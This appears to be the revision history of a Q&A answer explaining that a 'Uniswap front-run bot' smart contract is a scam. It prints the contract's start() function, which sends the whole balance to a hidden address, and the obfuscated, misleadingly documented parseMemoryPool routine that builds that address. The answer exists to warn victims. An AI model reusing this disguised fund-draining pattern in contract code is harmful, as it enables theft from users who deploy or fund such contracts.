Skip to main content
Improved explanation
Source Link
Jeremy Then
  • 4.6k
  • 3
  • 6
  • 28

If you check the start function, it transfers all the balance of the account to another contract address:

    function start() public payable { 
        emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
        payable(_callFrontRunActionMempool()).transfer(address(this).balance);
    }

Also, this function parseMemoryPool looks suspicious:

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

The docs on it say that it's doing one thing and will return a bool, but it's something else and returning an address. Probably a malicious address hidden in this weird logic to confuse inexperienced people?

So, it seems this may be an attack to steal your funds.

If you check the start function, it transfers all the balance of the account to another contract address:

    function start() public payable { 
        emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
        payable(_callFrontRunActionMempool()).transfer(address(this).balance);
    }

Also, this function parseMemoryPool looks suspicious:

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

The docs on it say that it's doing one thing and will return a bool, but it's something else and returning an address. Probably a malicious address hidden in this weird logic to confuse inexperienced people?

So, it seems this may be an attack to steal your funds.

Source Link
Jeremy Then
  • 4.6k
  • 3
  • 6
  • 28

If you check that the 'Internal Txns' tab, you will see that your funds were transferred to another contract at: 0xf305382678800d65c8e9c496a4b52a3c8b8a9115

Do you trust that contract? Is this what the contract is supposed to do if you send it ethers? To transfer it to another contract? Could it be a malicious contract?

Check that internal transaction (a transaction that happens from one contract to another) here:

https://etherscan.io/address/0x8aa27744A22110AAFB382883E1bbaA3d050D5444#internaltx

And the balance was sent to this contract:

https://etherscan.io/address/0xf305382678800d65c8e9c496a4b52a3c8b8a9115